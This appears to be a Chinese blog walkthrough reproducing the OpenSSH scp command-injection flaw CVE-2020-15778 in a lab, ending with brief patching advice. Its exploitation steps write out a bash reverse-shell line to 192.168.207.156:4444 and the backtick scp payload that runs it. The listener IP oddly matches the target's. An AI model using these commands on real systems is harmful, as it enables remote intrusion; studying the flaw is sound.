Openssh命令注入漏洞

  • A+
所属分类:Linux架构

OpenSSH 命令注入漏洞(CVE-2020-15778)

0x00 漏洞介绍

CVE编号:CVE-2020-15778

发布时间:2020-07-24

危害等级:高危

漏洞版本:<= openssh-8.3p1

漏洞描述:OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在操作系统命令注入漏洞。该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`),可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中getshell。

利用条件:知道目标的ssh密码

0x01 模拟场景

设置iptables策略模拟仅允许使用scp的场景,让该漏洞在特殊环境下实现命令注入。

0x02 实验场景部署

靶机环境:Centos 7

渗透机环境:Kali 2019版本

1、查看ssh版本

ssh -V

Openssh命令注入漏洞

为漏洞存在版本。

2、测试ssh与scp在正常情况下的使用情况。

Openssh命令注入漏洞

可以正常使用。

3、执行service iptables status 检查是否安装iptables,若已安装iptables,可跳过第三步。

(1)安装iptables

yum install -y iptables

(2)安装iptables-services

yum install iptables-services

(3)centOS7默认自带firewalld

先停止firewalld服务

systemctl stop firewalld

禁用firewalld服务
systemctl mask firewalld

(4)查看现有规则

iptables -L -vn

iptables -F是清空默认规则

iptables -L -n --line-number 显示规则和相对应的编号

4、在Centos中设置iptables策略,禁用ssh远程连接,但开放scp。

Openssh命令注入漏洞

命令:

service iptables start

iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP

service iptables save

iptables -L -n --line-number

5、测试ssh与scp在已设置iptables策略下的使用情况。

Openssh命令注入漏洞

0x03 SSH命令注入漏洞复现

1、在kali创建一个1.sh文件,并写入一个反弹shell的bash命令。

bash -i >& /dev/tcp/192.168.207.156/4444 0>&1

Openssh命令注入漏洞

2、使用scp命令,把该文件上传到靶机的/tmp下

Openssh命令注入漏洞

3、在新建的命令行页面中输入命令:

Openssh命令注入漏洞

4、使用POC,远程执行命令。

scp 1.sh root@192.168.207.156:'`sh /tmp/1.sh`'

Openssh命令注入漏洞

5、可以看到,在输完密码后,稍等一会就已经成功反弹了shell,实验结束。

Openssh命令注入漏洞

0x04 漏洞防御

1、先确保ssh密码没有泄露,等一波openssh的新版本吧

2、升级ssh版本

3、等待厂商发布补丁

weinxin
我的微信
这是我的微信扫一扫

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: